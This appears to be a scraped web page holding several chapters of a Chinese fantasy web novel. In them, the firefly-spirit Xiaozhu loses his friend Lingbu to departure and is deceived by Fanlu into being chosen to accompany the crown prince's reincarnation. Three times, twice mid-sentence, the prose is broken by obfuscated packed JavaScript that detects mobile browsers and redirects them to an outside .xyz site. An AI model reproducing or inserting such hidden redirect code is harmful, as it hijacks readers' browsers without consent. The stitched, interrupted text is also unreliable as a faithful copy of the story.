;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490814|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他非常喜欢这个味道。酒液中那股熟悉的清甜令他恍惚。 “唉……美酒容易勾愁肠。提到家乡,其实,我也有点想念我自己的家乡呢。”灵卜笑了笑,说。 宵烛:“那为何不回去看看?现在去应该很方便吧。” 灵卜自嘲般轻嗤一声: “确实方便,只要我想,这三界上下就没有我去不了的地方。可故人都已经不在了,沧海桑田物是人非,回去又有什么用?” 这是何意?宵烛不解。 灵卜给自己斟了一杯又一杯的酒,一口接一口不停地喝,喝到最后,已近半醉。 宵烛怕他又睡上个十年半载,赶紧制止。 却听他哑着嗓子道: “你知道吗?宵烛,很久很久以前,我曾经是人界的一名修士。” 宵烛点头:“繁露仙子同我提起过。” 灵卜或许是真的醉了。他半趴在桌子上,絮絮叨叨道: “——我是整个宗门里最刻苦、最有天赋的弟子,师尊长老们都说我是千百年间最有希望得道飞升之人。为了不辜负他们的期望,我整天拼了命的修炼,最后,终于迎来了飞升前的那道天劫。我沾沾自喜,以为从此能扶摇直上、一步登天。” “——但我还是失算了。我的力量根本不足以抵挡毁灭性的天劫,如若就此放弃,虽无缘大道,却能平平安安度过一生。可我怎么甘心?天劫降临的那日,我执意要与它相抗衡,被劈得奄奄一息,几乎濒死。” “——我最终没有死,是师尊和长老,还有无数同宗门的兄弟姐妹们救了我。他们合力撑起结界,让天雷无法再伤我分毫。那一日我终于夙愿得偿,得道飞升,从此位列仙班,但也失去了一切。我的亲人、师长、同伴,全部惨死在了天劫之下,连灰都不剩!” 灵卜的语气非常平淡,好似只是在讲述一个与自己无关的故事。 宵烛静静听着,心中却仿佛被钝刀割过,泛起一阵细细密密的疼。 他以前只知晓灵卜是琼阆天宫里唯一一位以凡人之躯得道的仙人,实不知对方飞升前还有这样一段往事。 宵烛素来嘴笨,连安慰人的话也不会说,踯躅片刻后,只能抬手轻轻拍了拍灵卜的背。 灵卜又道: “——最初来到天上时,我只被分了个杂役的差事。我不服气,想去争取更高的位置,仙官却告诉我,像我这种没有仙族血统的凡人,能在琼阆天宫拥有一席容身之地就已经该心满意足了,没有资格再去奢望其他。” “——从那一刻起我才明白,原来我付出一切去争取的东西,在这些仙人眼里,根本什么都不是。我当真活成了个笑话。” “——你说成仙到底有什么好的啊?这琼阆天宫,是三界里最冷清、最孤独、最无趣的笼子,连个能天天陪我喝酒的人都没有。” 宵烛说: “以后我陪你喝酒。你若无聊了,只管来文琇宫找我便是。我一直都在。” 灵卜定定地看着他,突然摇了摇头,轻声说: “不……很快,你也就要不在了。” “太子殿下在文琇宫外设了结界,只要不踏出这里,我就是安全的。” 灵卜说: “你太天真了,宵烛。宣湣给了你第二次生命,可他护不住你,他连他自己的命运都掌控不了。在这琼阆天宫里没有人能护得住你,你要学会自保。” 宵烛茫然: “我该怎么学?向谁学?” 灵卜说: “你有你自己的光,无需仰仗他人的光。萤烛之光,焉知不能比肩日月?” 宵烛越听越糊涂。 夜深了,湖水被夜风吹得微微起了褶皱,竹亭边悬挂的纱帘四处飞舞飘扬,凑到两人身侧,仿佛也想抿一口坛中的酒香。 灵卜似乎清醒了些。 他拾了片干枯的草叶,塞到宵烛手里,对宵烛说: “我教你个小仙术吧。跟着我把咒诀念出来。” 宵烛于是照做。 气海腾朱鸟,绛宫引丙丁。 三焦通赤脉,十指化炎精。 一念焚山意,半息燎原形。 若得离火髓,须向灵台明。 话音刚落,宵烛的手心里,赫然出现了一簇小小的星火。 7. 真复假 宵烛面露惊愕:“这是……” 灵卜道:“我教你的这段咒诀,名为引火真诀。” 灵卜又告诉宵烛,上古时期,天地混沌初开,凡界丹穴山上曾栖居着一只名为丹华的神凰。 它集世间炎灼之息而生,尾羽金红,灼灼如火,所经之处灾邪尽焚,被世人奉为祥瑞。 后来为守护神族的领地,丹华战死,复又涅槃。其涅槃之火化作无数细小的火髓,散入了广阔天地间。 灵卜对宵烛说:“你所唤出来的这簇火苗,便是其中之一。” 一阵夜风拂过,小小的火苗猛地跳跃了一下。 宵烛慌乱合拢掌心,生怕它被吹熄。 灵卜笑道:“口诀记牢没?我可不会再重复第二遍。” “记住了,”宵烛点头,随即又有些困惑,“学会了它,我就能自保吗?” 掌心里的火髓渺小又脆弱,和萤火虫发出来的光差不多。一想到它曾是上古神凰的涅槃之火,宵烛就觉得难以置信。 灵卜道: “自然是不能的。引火真诀引来的火髓共分九阶,只有四阶往上才具有实质性威力。凭你现在的实力,只能勉强使用最低阶,遇上稍微有点能耐的妖或仙,怕是塞牙缝都不够。不过也无需气馁,你的路还很长,或许终有一日……” 他突然将声音放轻了很多。风吹疏竹,周围只余潇潇沙沙的细碎声响。 后面的话宵烛没能听清,于是下意识追问:“什么?” 灵卜却不说了。他将手负在身后,狡黠地笑了笑,道: “天机不可泄露。” 那双漂亮的桃花眼弯成了月牙。 ……什么啊,这不是在耍人吗。 灵卜此人,平日就爱信口开河胡说八道,今日喝酒后难得正经,却连一盏茶的时间都没坚持到。 宵烛早已习惯灵卜这副德行,至于对方话中的那些未尽之言,也没太放在心上。 他一扬手,几簇星火渐渐消散在夜风中。 “今天来找你,其实还有一件事,”静了片刻,灵卜又道,“我要走了,宵烛。这坛千春浮白是辞行之酒,感谢你愿意陪我喝。” “辞行?”宵烛微愣,开始琢磨他话里的可信度,“又在耍我吗?” “这回是真的。” “去哪儿?” “算算日子,我在这天上待了万把年,也属实是待得腻味了,想去人间走走。如若运气好,说不定还能遇上故人的转世。我要去看看他们过得好不好。” 宵烛:“可是,你走了的话,灵卜司的事情谁来管呢?” 灵卜道:“反正我不管了。给仙帝白打这么多年工,总得有个休沐日,是不是?不然我和累死累活的驴子有什么区别。” 此时此刻,卸下往日的散漫轻浮,宵烛才发现友人的眼睛里藏着一抹不易察觉的疲倦。 灵卜确实是累了。 “那就去吧,一路顺利。”宵烛想了想,又说:“对了,你能不能……也捎上我?” 若能回人界、回神农谷,宵烛一百个愿意。 灵卜笑道:“我倒是想找个伴儿呢,可惜我没那个能耐。” 虽说本身也没抱多大期待,但听见这话时,宵烛仍不免有些失望。 “眼睛里的光都要没啦,”灵卜勾起唇角,俯身同他对视,“就这么想回家?” 宵烛一板一眼答:“游子思乡,人之常情。况且,我也不太喜欢这里。” 琼阆天宫实在不是什么待着很舒服的地方。他日日被困在文琇宫的方寸之地内,每一寸景物都看得几近腻烦。 灵卜被他的诚实逗乐了,捧腹笑了好一会儿,才留下一句颇有深意的话: “别急。琼阆天宫困不住你这只小飞萤,再耐心等等,很快,你就能离开了。” 等? 宵烛十分困惑。 他已经等了一年又一年,还要等到什么时候呢? 琼阆天宫像一座密不透风的囚牢,让他找不到一丝能飞出去的缝隙。于是宵烛下意识以为,灵卜那番话不过是安慰自己的苍白说辞。 灵卜走了,搁下仙君玉牌、撂下灵卜司的所有担子,走得那叫一个潇洒不羁。 宵烛听繁露说,仙帝曾试图挽留灵卜,却被狠狠驳了通面子,为此还大发雷霆,令众仙惶惶多日。 仙人们都清楚,灵卜此行,名为下凡游历,可谁知道他到底什么时候回来? 从今往后,“灵卜仙君”这一职位,恐怕是名存实亡了。 * 没了灵卜的“打扰”,宵烛的生活再次恢复平静。 平静得犹如一潭死水。 宵烛在文琇宫里的身份是仙侍,按理说是伺候太子的。可宣湣自从闭关后就再没了消息,他便成了闲人。 看他实在无聊,繁露不知从何处弄来一卷厚厚的棋谱,说: “——这是太子殿下旧日的手记。以往他同仙人们对弈,萌发感悟之时,都会命人将棋局抄录在其中,方便复盘。” “——殿下是个嗜棋如命的棋痴。身为他的仆从,对此一窍不通肯定是不行的。你若实在无事可做,就研究研究这卷棋谱吧。” 那么厚的棋谱,看着就让人头皮发麻。 但闲得无聊的宵烛最终还是答应了。 关于太子宣湣,宵烛实在知之甚少,为数不多的消息都是从繁露口中得来的。 繁露说,太子殿下有兰鹤之骨、霜竹之韵、松筠之节,是真真正正的端方君子,性情温和,待仆从宽厚良善,从不会摆出高高在上的姿态。 她又说,千年前凡界大荒泽曾有恶蛟作乱,残害生灵无数。太子知晓后,独自负剑前往大荒泽,平祸乱、斩恶蛟、祛瘴疫,救生灵于水火,足见其神威盖世、英武多谋。 繁露还说…… 总之,虽然俗语有云:金无足赤,人无完人,可在繁露嘴里,这位太子殿下身上,当真是挑不出一丝缺点。 宵烛不由对自己这位素未谋面的主人产生了一点好奇。 真有那么神乎其神吗?还是说繁露在夸大其词? 宵烛把所有精力都放在了研究那卷棋谱上。 棋是一种很奇妙的东西,弈棋者无需言语,观棋者却能从方寸纵横中捕捉到弈棋之人微妙的情绪。 棋谱上记载了太子往日的“战果”。宣湣的棋术非常精湛,通常是十局九胜,翻到最后,败局几乎绝迹,他赢得越来越漂亮,棋艺也达到了出神入化的水准。 但有意思的是,宣湣的棋风并不温和,甚至可以说是凌厉,初布局时便杀意尽显,步步紧逼;及至收网,金戈铁马呼啸而过,只余满盘烽火。 如此残忍,又如此触目惊心。 想起繁露对宣湣的描述,宵烛只觉得割裂。 他实在很难把棋盘上这名凶戾的暴君和那个光风霁月的太子联系起来。 惊讶之余,宵烛不免开始思考,如若有一天他也遇上宣湣这样的对手,该如何反制? 如若说痴迷棋是一种病,宵烛显然已病入膏肓。一天到晚,除却吃饭睡觉,他几乎每时每刻都把心思挂在棋盘上。 只可惜,文琇宫里没人能陪他真正下一局,他只能自弈。宵烛总算能体会灵卜找不到喝酒搭子时的孤独寂寞了。 发现这一点后,繁露忍不住对宵烛说: “我让你背棋谱,是让你粗略了解些规则,以后好替殿下复盘棋局、抄录棋谱。你还真打算摸出点门道不成?别做些多此一举的事情。” “没有多此一举,我只是喜欢下棋而已,”宵烛小声说,“殿下的棋艺很厉害,我也想变得和他一样厉害,甚至……超过他。” “你?”繁露微微诧异,“说什么胡话呢。” 宵烛没有说胡话。相反,他很清醒,内心深处越来越渴望能与宣湣对上一局。 岁月渐渐流逝,文琇宫水榭里的莲华开了又败,游鲤换了一批又一批,宵烛却毫无所觉。 一天清晨,他又坐在凉亭里看棋谱,繁露突然提着裙子匆匆跑来,脸上写满仓惶无措。 见状,宵烛合上棋谱,关切问道: “怎么了?” “太子殿下出事了!” 女孩咬紧下唇,音调里带着一丝颤抖的哭腔。 “不是说在闭关吗?好端端的,怎么会出事?” 繁露摇头哭道: “我听其他仙君说,之前殿下对外称是在闭关,其实根本不是!他的神魂遭受重创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490815|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,已经昏迷了许久,一直秘密藏身在浮荒山养伤!” 宵烛皱眉:“好端端的,殿下的神魂为何会受创?” 繁露沉声道: “据说当年殿下出生时魂魄便不在体内,如同死婴一般。是灵卜仙君用天机丝固定了他的魂魄,才救回他的性命——这个我之前就告诉过你,你应该还记得吧?” 宵烛点头。他自然记得。 繁露又说: “但灵卜仙君隐瞒了一件非常重要的事——他救回来的魂魄,其实并不是完整的,只有原本的一半。至于剩下那一半去了哪里,无人能知。如若无法寻回那一半神魂,殿下注定扛不过天劫,他……” 余下的话,繁露没有说完。 宵烛已然能明白她的意思。 “所以,当务之急是替太子殿下找回神魂,否则他就会死,对吗?” “对。此消息一出,琼阆天宫起了轩然大波。仙帝陛下已经遣了人去凡界寻找灵卜仙君的踪迹,但愿能顺利。” 宵烛听后,心头却倏然一惊。 ——如此严重的事情,灵卜当年知情瞒报已是重罪,如若被带回天界,恐怕难以善终。 可他实在想不通,灵卜为何不将太子的真实情况告知仙帝,而是选择了瞒报? 宵烛很担心灵卜。重重心事之下,连棋谱也看不进去了。 * 又过几日,繁露终于带回了些消息。 值得庆幸的是,灵卜暂时没有被抓。 凡界太过浩渺,灵卜隐去气息,仙界的人便找不到他。 繁露咬牙切齿道: “灵卜仙君真是好狡猾。当年为了沽名钓誉,他故意隐瞒实情,揽下救治太子的全部功劳,一路晋升。如今怕事情败露才逃去凡间,难怪先前走得那么决绝……一切都说得通了!” 宵烛辩解道: “可我觉得,他不是那样的人。” 繁露生气道: “你被他的花言巧语骗了!灵卜和太子殿下,到底谁才是你的主人?别胳膊肘往外拐了!” 见她正在气头上,宵烛便不再劝说。 “不过,总归也有些好消息,”繁露又道,“溯时星君去了趟归墟,寻来一种名为‘魂晷’的神器。据说凭借此物能找到太子殿下缺失的另一半魂魄。究竟有没有用,过段时日就能见分晓了。” 溯时星君…… 乍然听见这个名字,宵烛微微恍惚。 他现在虽已为人,却始终记得,当年让他和同伴们离开神农谷的,正是那位溯时星君。 平心而论,宵烛对此人没有分毫好感。 繁露絮絮叨叨道: “溯时星君这回可算是立了大功。等找到太子殿下的魂魄,不出意外的话,他就能成为新任的灵卜仙君了。” “是吗……那恭喜了。” 宵烛垂下眼,神色晦暗。 * 七日后。 那天宵烛在湖边喂鱼,鱼食刚洒一半,西边方向突然出现了一条巨大的青紫色光带。 光带不断延伸,很快便朝着文琇宫的方向伸来,却又似被什么东西挡在了半途。 宵烛看着这一幕,有些不明所以。不过想到这里是仙界,出现什么怪事都不奇怪,便没往心里去。 不多时,繁露回来了。 她悄无声息出现在宵烛身后,从明镜般的湖面上窥见背后那个人影时,宵烛手一抖,吓了一大跳。 “今天回来得好早。外面发生了什么新鲜事?” 这些日子繁露经常出门,说是为了打探太子的消息。 “……没有,”女孩盯着坐在地上的宵烛,语气很平淡,“还是老样子。” 宵烛被她直勾勾的眼神盯得心里发毛。 不知道为什么,他隐隐觉得,繁露今天有点奇怪。 但也可能只是他多想了。繁露明明还是那个繁露,哪有什么变化? 宵烛指着湖水中的游鱼,如往常一般同女孩唠嗑: “我跟你说,今天我发现这湖里的锦鲤多了三条,昨天明明只有十八条的……哎,你说它们到底是从哪里——” “宵烛,”繁露突然打断道,“你能不能……帮我一个忙?” 8. 因果报 “好啊,”宵烛把鱼食塞进荷包里,起身拍了拍身上的灰,“说吧,这回是要我帮你洒扫回廊,还是整理书阁?” “都不是,”繁露捏紧衣角,表情不太自然,“殿下养的那只金斑守宫跑出来了。我很怕它。你能不能、能不能帮我把它捉回来?” ??? 听见“守宫”二字,宵烛脸色变了。 “不是说有琉璃罩拦着吗?那爬宠是怎么跑出来的?” 宵烛声音有点颤抖。他也怕守宫。 毕竟……那玩意儿是吃虫子的。 以前灵卜还在的时候,曾用开玩笑的口吻对宵烛说: “金斑守宫娇贵得很,寻常虫子不吃,只肯吃/精心饲养的肥美灵虫。你说,宣湣养着你,不会是为了给他心爱的宠物弄点口粮吧?” 这个玩笑一点都不好笑。 即便变成了人,宵烛骨子里仍残存着某些属于萤火虫的天性,对天敌的恐惧一时半会也很难克服。 繁露别开眼,说: “殿下太久没回来,琉璃罩无人维护,不知怎么就开了条裂缝。它是从裂缝里跑出去的。” 沉默一会儿后,宵烛叹了口气: “罢了。我去把它捉回来,你别担心。” 宵烛已经想通了。横竖不过一只守宫而已,又不是什么吃人的猛兽,有什么好怕的? 倘若弄丢了主子的灵宠,他们谁都担不起责任。 繁露感激道:“实在抱歉,给你添麻烦了。” 宵烛说:“没事。我也是文琇宫里的仙侍,这本来就是我的分内之责。对了,那条守宫现在在哪儿?” “在……”女孩的眼神飘忽不定,始终不敢和宵烛对视。她支支吾吾了好一会儿,才说:“我、我看见它爬到后院那座叠石假山上去了。” 宵烛忍不住想,繁露今天好生奇怪。 是被吓坏了吧? 他点点头,不再逗留,转身往假山的方向走去。 “宵烛!” 背后的繁露突然喊了一声。 宵烛疑惑问道:“怎么了?” 女孩似乎陷入了某种纠结的情绪里。她用手指绞着衣摆,将下唇咬得发白。 最后,她深深看了宵烛一眼,说: “对不起……” 宵烛不明白她为什么要再三道歉,但还是安慰道: “和我客气个啥?不是你的错。放心吧,我有办法把它抓回来。” 话虽如此,等真走到假山上,宵烛的牙关仍是止不住地颤了起来。 他警惕地盯着四周石壁,生怕从哪儿掉下一条肥硕的守宫,张嘴咬他一口。 这些担心显然是多余的。 因为,他绕着假山转了一大圈,却始终毫无所获。 ——到底钻到哪里去了? 宵烛正发着愁,这时,一道金光突兀地从他眼前窜了过去。 定睛一看,可不就是那条金斑守宫! 它瞪着双圆溜溜的眼睛,长尾巴拖在身后晃啊晃,一副挑衅的姿态。 这下宵烛哪还顾得上害怕。他厉声喝道:“你给我站住!” 这畜生灵识未开,除了主人宣湣外谁都不认,自然不会听宵烛的话。 它在泥地上磨了磨爪子,“咻”地一下又窜走了。 宵烛拔腿便追。 一人一动物跟捉迷藏似的在假山里追逐了半天。那爬宠十分狡猾,仗着自己身形小、行动速度快,把宵烛耍得焦头烂额。 不知不觉,宵烛就追到了假山的另一头。 文琇宫只有东、南、西三面砌了宫墙,这座假山正好位于北面,起一个阻隔作用。 换言之……一旦翻过这座假山,就意味着离开了文琇宫,也离开了太子设下的结界。 可宵烛一心想着要捉回那只金斑守宫,对此毫无所觉。 等反应过来时,他就已经迷了路。 周围都是雪白肃穆的宫墙,再不见文琇宫里熟悉的山水花木。 宵烛呆呆望着它们,心中忽然涌起一丝恐慌。 ——这是哪儿? 很早之前繁露就告诫过宵烛,文琇宫有太子设下的结界。除了深受太子信任的灵卜仙君外,其余仙人无法擅自闯入。 只要待在结界里面,他就是安全的。 彼时宵烛虽没有继续追问,但心里隐隐能明白,自己在仙界大概是见不得光的存在。 那些仙族不欢迎他,更不可能友善待他。 宵烛心里的不安越来越重。 他想原路折返,可绕来绕去绕了半天,怎么都无法回到原点。 就在这时,身后突然响起一个陌生的声音: “你是新来的杂役吗?我怎么没见过你?” 自化出人形以来,除了繁露和灵卜,宵烛已经很久没有和其他人打过交道了。 他不知该如何应对,浑浑噩噩地转身,脑海中竟一片空白。 叫住宵烛的是一名面色严肃的仙娥,衣着打扮和繁露迥然不同。 看清她面容的那一刻,宵烛呼吸滞了一瞬。 刹那间无数破碎的画面如雪片般涌进他脑海。沉香宝辇、琉璃盅、九曜星舆图、傀儡丝…… 该说是天意弄人,还是冤家路窄? ——此时此刻,站在宵烛面前的这位仙娥,赫然就是当初听命于溯时星君、并导致九千只萤火虫丧命的刽子手之一! 仙娥蹙眉望着落单的少年,训斥道: “琼阆天宫里不允许随意走动,你是哪个仙人宫里的,怎么一点规矩也不懂?” “我……” 宵烛浑身难以抑制地颤抖起来。刻在骨子里的恐惧令他丧失了语言能力,加上他对文琇宫以外的情况知之甚少,连个谎都没法扯。 见他支支吾吾半天都说不出个所以然,仙娥的耐心逐渐告罄。 她秀眉一凛,正要开口,幸而这时,一只传讯灵鸟匆匆飞来,张嘴吐出一段话: “青阑仙子!陛下传了急令,所有仙人必须即刻赶至主殿,溯时星君也还在等您!” 仙娥听罢,忙道: “我这就过去!对了,这名杂役行踪鬼祟可疑,你帮我把他带走,晚点我会单独审问。” “是。” 传讯灵鸟飞到地上,化作一位蓝衣仙娥。她抬手掐了道咒诀,宵烛顿时动弹不得,只能听她命令行事。 青阑仙子离开了。蓝衣仙娥用咒诀控制着宵烛,押着他往另一个方向走去。 前所未有的绝望如潮水般漫上宵烛的心。 他想逃,却根本逃脱不了。落到这种境地里,只能任人宰割。 谁会来救他?宣湣不在、灵卜不在、繁露…… 等等……繁露? 冥冥中似乎真的有一股力量听到了他的呼救。走到某处转角,宵烛和蓝衣仙娥迎面撞见了一个女孩。 正是繁露。 瞧见宵烛,她面露惊诧: “你怎么跑这里来了?四处寻不见你的人,我都要急死了!” 蓝衣仙娥愣了愣: “方才青阑仙子见他行踪可疑,命我押他回宫。你认识他?” 繁露急道: “都是误会!这孩子是我们文琇宫里的仙侍,平日就呆头傻脑的,不太会说话。如若冲撞了青阑仙子,我代他赔罪!您看可否行个方便放了他?也算是给我文琇宫一个面子。” 蓝衣仙娥犹豫了。 她平日效忠于溯时宫,按理说只能听从溯时星君和青阑仙子的命令。 但架不住繁露各种软磨硬泡,甚至搬出了太子的名号,最后,她只能妥协道: “既然是你们宫里的人,就带回去管好了,下不为例。” 繁露连连赔礼道歉。 蓝衣仙娥走后,繁露解了宵烛身上的控制咒。 “吓死我了!你怎么回事?” “我本来在追那只守宫,没想到追着追着就离开了文琇宫……” 听完事情的经过后,繁露叹气: “算了,总归是虚惊一场,你赶紧跟我回去。” 她拉着一脸懵的宵烛往回走。宵烛劫后余生,自然全心全意信任着她。 “繁露……”宵烛小声道,“谢谢你救我。你是我最好的朋友。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490816|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听闻此言,女孩的步伐微不可查地一顿。 宵烛还在一旁碎碎念: “我刚刚真的很害怕。你知道吗?那个青阑仙子,当初就是她把我们抓到天上来的。溯时星君还让她还在我们身上穿了傀儡丝,好疼好疼……我都快要忘记那种疼痛了,但一看见她,就全部都想起来了。” 繁露说: “没事,都过去了,你现在是文琇宫的仙侍,是太子殿下身边的人,溯时星君不能再要你的性命。” “嗯。”宵烛点头。 繁露又道: “宵烛,你要记住,我今天之所以能救你,并非她们卖我人情,而是仰仗太子殿下的恩威。当初也是殿下在灵卜司救了你,给了你活下来的机会。他对你有天大的恩情,所以,你一定要好好报答他,知道吗?哪怕付出一切,也在所不辞。” 付出一切,也,在所不辞…… 那种奇怪的感觉又浮现在了宵烛脑海里。他隐隐觉得女孩的话有问题,却不知问题到底出在哪。 默了半晌,宵烛开口道: “殿下对我有恩,我会把他的守宫找回来的。这是我唯一能做的了。” 谁知繁露摇头道: “不用再去管那条守宫了。殿下现在危在旦夕,溯时星君使用魂晷,已经找到了他另一半魂魄的所在之处。” 宵烛被这个消息砸得一怔: “在哪里?” “人界。当今天下,旧王朝日渐衰微,九州已隐隐呈现割据动荡之势,很快战火便会席卷大地。合久必分分久必合,王朝更替是历史的铁律,无人可挡。而根据预言,多年后,这一切动荡将会由一位新帝终结。太子殿下是紫薇帝格,如无意外,他遗失的那一半魂魄便将担此重责,投胎成为未来的九州之主。” “既然已有眉目,就好找多了,”宵烛松了口气,“等那位凡人帝王死后,再去取回他的魂魄,与太子殿下的神魂合二为一,殿下是不是就有救了?” “没那么简单,”繁露的声音带着疲惫,“殿下缺失的那一半魂魄,是主掌恶欲杀伐的邪魂,天生带着极重的凶戾之气。换言之,即便他拥有一统天下的雄才谋略,也注定因杀业过重而成为一个暴君。死后业障缠身化作厉鬼,魂魄无法进入轮回,只能消散在天劫之下。” 宵烛听后,茫然道: “那……该怎么办呢?” “此局也并非全然无可解。凡人皆有善恶双魂,二者合二为一,方能成为一个完整的人,”繁露说,“待那名帝王降生之时,将善魂也送入他体内,便能制衡恶魂,使其不至于犯下杀业。” “所以,是要将太子殿下的魂魄剥离出来,送入人界重新投胎吗?”宵烛问。 繁露点了点头。 宵烛说:“殿下是福泽深厚的贵人,一定能成功的。” 繁露盯着宵烛,片刻后缓缓道: “我当然信任殿下,可此行实在凶险,无论如何……都要确保万无一失。” 女孩的目光紧锁在宵烛身上,犹如织开了一张密不透风的网,愈缠愈紧,勒得他几乎喘不过气来。 “你……” 这样的目光令宵烛害怕。他下意识后退了一步。 繁露却不打算放过他。 她用力按住宵烛的肩膀,不顾他的挣扎,继续道: “——投胎转世亦是历劫,仙界不能直接干涉,更无法左右其结果。因此,仙帝陛下想为太子挑选一名陪同历劫的随侍,以增添成功的筹码。可选来选去始终找不到合适的人,今日将召开最后一场擢选大会。” “——多年前你撞过殿下的命网,从此与他因果相连,所以你才是最合适的人选。你不会令我们失望的,对不对?宵烛,他救过你,你就应该还了这份恩情!” 她的话如同一把把淬毒的利刃,一字一句割在耳畔,鲜血淋漓、触目惊心。 宵烛终于明白了她身上那种不对劲的感觉从何而来。 可已经迟了。 ——这根本就不是回文琇宫的方向!那只守宫也不是因为意外而跑出来的! 原来……从一开始,繁露就在骗他。 9. 不自量 尽管事实已全部摆在了眼前,宵烛仍近乎执拗地对繁露道: “我想……问你几个问题。能如实回答我吗?” 女孩慢慢收回摁在他肩上的手,说: “还有什么好问的?” 宵烛却偏要问。他说: “是你故意把太子养的那条守宫放到假山上,引我主动踏出文琇宫结界的,对吗?” 繁露没有吭声。 沉默,便是承认。 一股铁锈味漫上宵烛喉咙。他的心似被狠狠剜了一刀,变得支离破碎鲜血淋漓,吐出来的字句却出奇的冷静: “——我刚离开文琇宫,青阑仙子就发现了我的踪迹,这也是出自你的手笔,对吗?” “——你知道我胆小,怕我不愿意去凡间,于是把我逼入绝境,让我品尝到刻骨铭心的绝望,再摇身一变,以救世主的姿态将我救走,让我对太子感恩戴德,并心甘情愿地陪他下凡历劫,对吗?繁露,你真的太聪明了,或者说是我太蠢了。若非你主动告知,我恐怕永远也猜不透真相。” “可这对你来说并不是什么坏事!”繁露忍不住道,“你在天界的身份本就尴尬,躲得过一时,难道躲得了一世?此番陪太子历劫是千载难逢的机会,等历劫归来,你将成为殿下最信任的仙侍,无人敢再轻视你!你知道吗,琼阆天宫里的所有仙人都在垂涎着这次机会!我是在帮你!” 帮? 宵烛疲惫地阖上眼,痛苦地想,是啊,繁露在帮他。 他本体不过一只渺小的飞萤,能成为太子历劫的随侍,那是旁人几生几世都修不来的福分! 尽管用了欺骗的手段,可繁露并没有做错什么。 她是他的朋友,更是文琇宫里的忠仆。把太子殿下的安危摆在首位,原本就是她的分内之责! 拒绝?他有什么立场和资格来拒绝?如若不是太子出手,他早就死了! 别再不知好歹了!命网纠缠,因果相连,他生来就该为了偿还太子的恩情而付出一切! …… 无数纷乱的思绪一齐涌进脑海,像无数条由白骨结成的手臂,将他拉入泥沼,越陷越深。 宵烛的脸色瞬间变得惨白。繁露似乎又在他耳边说了些什么,但他脑子迟钝得仿佛灌了铅,已经完全听不进去了。 最后,宵烛听见一个声音说: “我愿意陪他历劫。我愿意陪殿下历劫。” 那声音很陌生,却又非常熟悉。 因为……那分明就是他自己的声音。 他最终,还是选择了妥协。 * 同长生种相比,宵烛的一生其实算不上长,不过短短几十年。 可在这几十年里,他失去过很多东西。 神农谷里的亲人同伴们死了、灵卜走了,到最后,他连仅剩的朋友繁露也没能留住。 从繁露骗他的那一刻起,他们就再也无法回到从前。 宵烛已经记不清自己是怎样被带到主殿去的。 只记得那一日,星轨列阵、万仙朝会,七十七道云纹铜门开启的声音庄严而冰冷。 他和所有仙人一样,跪伏在青玉铺就的云阶之下,不敢抬头,膝盖跪得麻木生疼。 溯时星君开启魂晷,一青一紫两道光芒瞬间涌出,一道落向人界,另一道,则牢牢锁在了宵烛身上。 魂晷择定宵烛为太子此次历劫的随侍,霎时在众仙中激起轩然大波。 这个少年实在是太过瘦小不起眼,宛如浮世中的一粒芥子或尘埃。他低着头,颈骨纤细得仿佛一捏就会碎。 没人见过他,更无人能认出他到底是谁。 有人偷偷猜测道: “魂晷是不是出了差错?怎么会选到一个名不见经传的杂役身上去?未免太胡闹了点!” 这意料之外的一幕令仙帝也愣住了。 他皱着眉,用眼神询问溯时星君,但溯时星君同样是一脸茫然。 见状,繁露忽然走上前,向仙帝躬身一拜,然后说: “陛下……他就是当年撞了太子命网的那只萤火虫。” 从头到尾,繁露就只说了这么一句话。 只此一句便足矣。 女孩话音刚落,成百上千道惊诧的目光几乎要将宵烛活活淹埋。 他们都想起来了——几十年前,在太子宣湣的九千岁生辰宴上,的确曾有一只胆大包天的萤火虫擅自闯入灵卜司,阴差阳错搅乱了太子的命局。 犯下如此重罪,自然是该罚的。可太子却跟着了魇似的,不仅极力袒护这只小灵虫,还要为它塑出人形。 仙帝为此事大发雷霆,但无论怎么施压,都始终无法撼动太子的选择。 后来的年岁里,那只萤火虫再也没有露过面,仙人们便渐渐淡忘了此事,谁能想到它会出现在今日的擢选大会上! 天道何其不公。一只卑贱弱小的灵虫,凭什么能一步登天、踩在所有仙族头上?! 宵烛听见了很多议论声。其中有艳羡、有不解、有嫉恨,情绪直白得不加掩饰。 那些目光和声音沉甸甸地堆在背后,将他的脊柱越压越低。他的额头贴着冰冷刺骨的地面,掩藏在宽大袖袍之下的身体开始不断颤抖。 着实是一场比凌迟还要煎熬的酷刑。 宵烛在害怕。 因着宣湣的缘故,他知道,这些仙人必须留着他的命,不可能杀他。 但只要他们想,他们可以有一百种方法让他生不如死。 琉璃盅、傀儡丝、九曜星舆图……抑或是别的什么东西。 宵烛并不娇气,但他怕疼。 时间一点点流逝,大殿里的喧闹渐渐转为了静默。 